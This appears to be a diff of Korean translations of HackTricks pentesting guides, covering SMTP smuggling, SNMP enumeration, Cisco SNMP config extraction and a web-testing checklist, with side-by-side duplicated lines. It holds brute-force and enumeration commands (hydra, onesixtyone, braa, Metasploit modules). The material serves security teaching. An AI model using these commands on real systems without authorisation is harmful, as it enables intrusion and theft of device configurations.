예를 들어, 데이터의 일반적인 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원하는 경우, 공격자는 **이 데이터를 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 같이. 예를 들어, 일반적인 데이터 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원하는 경우, 공격자는 **이 데이터를 자신의 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 마찬가지로.
물론, 이는 **아웃바운드 SMTP 서버가 이 데이터를 메시지 데이터의 끝으로 처리하지 않을 경우에만 작동합니다**. 그렇지 않으면 1개의 이메일 대신 2개의 이메일로 보게 되므로, 결국 이것이 이 취약점에서 악용되는 비동기화입니다. 물론, 이는 **아웃바운드 SMTP 서버가 이 데이터를 메시지 데이터의 끝으로 처리하지 않을 경우에만 작동합니다**. 그렇지 않으면 1개의 이메일 대신 2개의 이메일로 보게 되므로, 결국 이것이 이 취약점에서 악용되는 비동기화입니다.

View file

@ -1,8 +1,8 @@
# 161,162,10161,10162/udp - Pentesting SNMP # 161,162,10161,10162/udp - Pentesting SNMP
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,32 +23,32 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Information ## Basic Information
**SNMP - Simple Network Management Protocol**는 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다. **SNMP - 간단한 네트워크 관리 프로토콜**은 네트워크의 다양한 장치(예: 라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
``` ```
PORT STATE SERVICE REASON VERSION PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
``` ```
{% hint style="info" %} {% hint style="info" %}
SNMP는 **162/UDP** 포트를 **트랩**에 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다. SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
{% endhint %} {% endhint %}
### MIB ### MIB
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **관리 정보 베이스(Management Information Base, MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에 나열된 모든 쿼리 가능한 **SNMP 객체**를 포함하는 **텍스트** 파일입니다. 최소한 하나의 `객체 식별자(Object Identifier, OID)`를 포함하며, 이는 필요한 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보를 제공합니다.\ SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **최소 하나의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\
MIB 파일은 `추상 구문 표기법 1(Abstract Syntax Notation One, ASN.1)` 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다. MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다.
### OIDs ### OIDs
**객체 식별자(Object Identifiers, OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보 베이스(MIB)** 내에서 객체를 관리하기 위해 설계되었습니다. **Object Identifiers (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내에서 객체를 관리하기 위해 설계되었습니다.
MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다. MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다.
또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 자율성을 가집니다**. 이 시스템은 다양한 공급업체와 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다. 또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 수 있는 자율성을 가집니다**. 이 시스템은 다양한 공급업체와 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
여기에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하세요.\ 여기에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하여 확인하세요.\
일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 것들은 MIB-2에서 정의된 간단한 네트워크 관리 프로토콜(SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다. [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부의 **잘 알려진 OIDs**가 있으며, 이는 MIB-2에서 정의된 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 이로부터 **대기 중인 OIDs**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
### **OID 예시** ### **OID 예시**
@ -60,12 +60,12 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
* 1 이것은 ISO라고 하며, 이것이 OID임을 나타냅니다. 그래서 모든 OID는 "1"로 시작합니다. * 1 이것은 ISO라고 하며, 이것이 OID임을 나타냅니다. 그래서 모든 OID는 "1"로 시작합니다.
* 3 이것은 ORG라고 하며, 장치를 만든 조직을 지정하는 데 사용됩니다. * 3 이것은 ORG라고 하며, 장치를 만든 조직을 지정하는 데 사용됩니다.
* 6 이것은 국방부(DOD)로, 인터넷을 처음으로 설립한 조직입니다. * 6 이것은 dod 또는 국방부로, 인터넷을 처음으로 설립한 조직입니다.
* 1 이것은 인터넷의 값을 나타내며, 모든 통신이 인터넷을 통해 이루어질 것임을 나타냅니다. * 1 이것은 인터넷의 값을 나타내며, 모든 통신이 인터넷을 통해 이루어질 것임을 나타냅니다.
* 4 이 값은 이 장치가 정부가 아닌 민간 조직에 의해 만들어졌음을 나타냅니다. * 4 이 값은 이 장치가 정부가 아닌 민간 조직에 의해 만들어졌음을 나타냅니다.
* 1 이 값은 장치가 기업 또는 비즈니스 엔티티에 의해 만들어졌음을 나타냅니다. * 1 이 값은 장치가 기업 또는 비즈니스 엔티티에 의해 만들어졌음을 나타냅니다.
이 첫 여섯 값은 모든 장치에 대해 동일하며, 장치에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하며, 정부에서 제작된 장치의 경우를 제외합니다. 이 첫 여섯 값은 모든 장치에 대해 동일하며, 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하지만, 장치가 정부에 의해 만들어진 경우는 제외됩니다.
다음 숫자 세트로 넘어갑니다. 다음 숫자 세트로 넘어갑니다.
@ -75,7 +75,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
나머지 값들은 장치에 대한 구체적인 정보를 제공합니다. 나머지 값들은 장치에 대한 구체적인 정보를 제공합니다.
* 5 이산 알람 포인트를 나타냅니다. * 5 개별 알람 포인트를 나타냅니다.
* 1 장치 내의 특정 포인트 * 1 장치 내의 특정 포인트
* 3 포트 * 3 포트
* 21 포트의 주소 * 21 포트의 주소
@ -92,7 +92,7 @@ SNMP에는 2개의 중요한 버전이 있습니다:
### 커뮤니티 문자열 ### 커뮤니티 문자열
앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c의 커뮤니티 문자열과 버전 3의 자격 증명을 알아야 합니다.**\ 앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c에서는 커뮤니티 문자열을 알아야 하고, 버전 3에서는 자격 증명을 알아야 합니다.**\
**커뮤니티 문자열**에는 **2가지 유형**이 있습니다: **커뮤니티 문자열**에는 **2가지 유형**이 있습니다:
* **`public`** 주로 **읽기 전용** 기능 * **`public`** 주로 **읽기 전용** 기능
@ -101,17 +101,17 @@ SNMP에는 2개의 중요한 버전이 있습니다:
**OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\ **OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\
객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\* 객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\*
버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**. 버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있다면, **유효한 커뮤니티 문자열이 사용된 것입니다**.
## 포트 ## 포트
[위키백과에서](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol): [위키백과에서](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
* SNMP 에이전트는 UDP 포트 **161**에서 요청을 수신합니다. * SNMP 에이전트는 UDP 포트 **161**에서 요청을 수신합니다.
* 관리자는 포트 **162**에서 알림([트랩](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다. * 관리자는 포트 **162**에서 알림([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다.
* [전송 계층 보안](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [데이터그램 전송 계층 보안](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용할 때, 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다. * [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용될 때, 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다.
## 커뮤니티 문자열 무차별 대입(v1 및 v2c) ## 커뮤니티 문자열 무차별 대입 (v1 및 v2c)
**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 무차별 대입 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-methodologies-and-resources/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다. **커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 무차별 대입 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-methodologies-and-resources/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다.
@ -193,7 +193,7 @@ SNMP 서비스 내에서 **값을 쓰는** 것을 허용하는 **문자열**이
## **대량 SNMP** ## **대량 SNMP**
[Braa ](https://github.com/mteg/braa)는 대량 SNMP 스캐너입니다. 이러한 도구의 의도된 사용은 물론 SNMP 쿼리를 만드는 것이지만, net-snmp의 snmpwalk와는 달리 수십 또는 수백 개의 호스트를 동시에, 단일 프로세스에서 쿼리할 수 있습니다. 따라서 시스템 자원을 매우 적게 소모하며 스캔을 매우 빠르게 수행합니다. [Braa ](https://github.com/mteg/braa)는 대량 SNMP 스캐너입니다. 이러한 도구의 의도된 사용은 물론 SNMP 쿼리를 만드는 것이지만, net-snmp의 snmpwalk와는 달리 수십 또는 수백 개의 호스트를 동시에, 단일 프로세스에서 쿼리할 수 있습니다. 따라서 시스템 리소스를 매우 적게 소모하며 스캔을 매우 빠르게 수행합니다.
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다. Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
@ -203,7 +203,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
``` ```
이것은 수동으로 처리할 수 없는 많은 MB의 정보를 추출할 수 있습니다. 이것은 수동으로 처리할 수 없는 많은 MB의 정보를 추출할 수 있습니다.
그래서, 가장 흥미로운 정보를 찾아봅시다 (출처: [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): 그래서, 가장 흥미로운 정보를 찾아봅시다 (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
### **장치** ### **장치**
@ -211,9 +211,9 @@ braa ignite123@192.168.1.125:.1.3.6.*
```bash ```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp grep ".1.3.6.1.2.1.1.1.0" *.snmp
``` ```
### **개인 문자열 식별** ### **비공식 문자열 식별**
중요한 단계는 조직에서 사용하는 **개인 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다. 중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다.
```bash ```bash
grep -i "trap" *.snmp grep -i "trap" *.snmp
``` ```
@ -243,9 +243,9 @@ ACL이 SMNP 서비스에 쿼리할 수 있는 IP만 허용하는 경우, UDP 패
* snmpd.conf * snmpd.conf
* snmp-config.xml * snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구술 및 작문 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
``` ```
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# Cisco SNMP # Cisco SNMP
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -31,7 +31,7 @@ onesixtyone -c communitystrings -i targets
``` ```
#### `cisco_config_tftp` #### `cisco_config_tftp`
Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 확보한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다: Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 획득한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다:
* RW 커뮤니티 문자열 (**COMMUNITY**) * RW 커뮤니티 문자열 (**COMMUNITY**)
* 공격자의 IP (**LHOST**) * 공격자의 IP (**LHOST**)
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_). 당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -50,12 +50,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] 기술 버전의 **알려진 취약점**이 있습니까? * [ ] 기술 버전의 **알려진 취약점**이 있습니까?
* [ ] **잘 알려진 기술**을 사용하고 있습니까? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있습니까? * [ ] **잘 알려진 기술**을 사용하고 있습니까? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있습니까?
* [ ] 실행할 **전문 스캐너**가 있습니까(예: wpscan)? * [ ] 실행할 **전문 스캐너**가 있습니까(예: wpscan)?
* [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지, 흥미로운 정보를 발견할지 알 수 없습니다. * [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지 아니면 흥미로운 정보를 발견할지 모릅니다.
* [ ] **초기 검사**로 시작합니다: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우). * [ ] **초기 검사**로 시작합니다: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
* [ ] 웹 페이지를 **스파이더링**하기 시작합니다: 가능한 모든 **파일, 폴더****사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요. * [ ] 웹 페이지를 **스파이더링**하기 시작합니다: 가능한 모든 **파일, 폴더****사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._ * [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
* [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색합니다. * [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색합니다.
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포해야 합니다._ * [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포해야 합니다._
* [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트합니다. * [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트합니다.
* [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**. * [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**.
* [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인합니다. * [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인합니다.
@ -73,7 +73,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL> webtech -u <URL>
webanalyze -host https://google.com -crawl 2 webanalyze -host https://google.com -crawl 2
``` ```
Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generic-methodologies-and-resources/search-exploits.md) Search **for** [**웹 애플리케이션 버전의 취약점**](../../generic-methodologies-and-resources/search-exploits.md)
### **WAF 확인하기** ### **WAF 확인하기**
@ -117,17 +117,17 @@ Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generi
* [**Wordpress**](wordpress.md) * [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\ _같은 도메인이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **기타**를 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!). 웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
### 소스 코드 검토 ### 소스 코드 검토
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신이 직접 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다: 애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
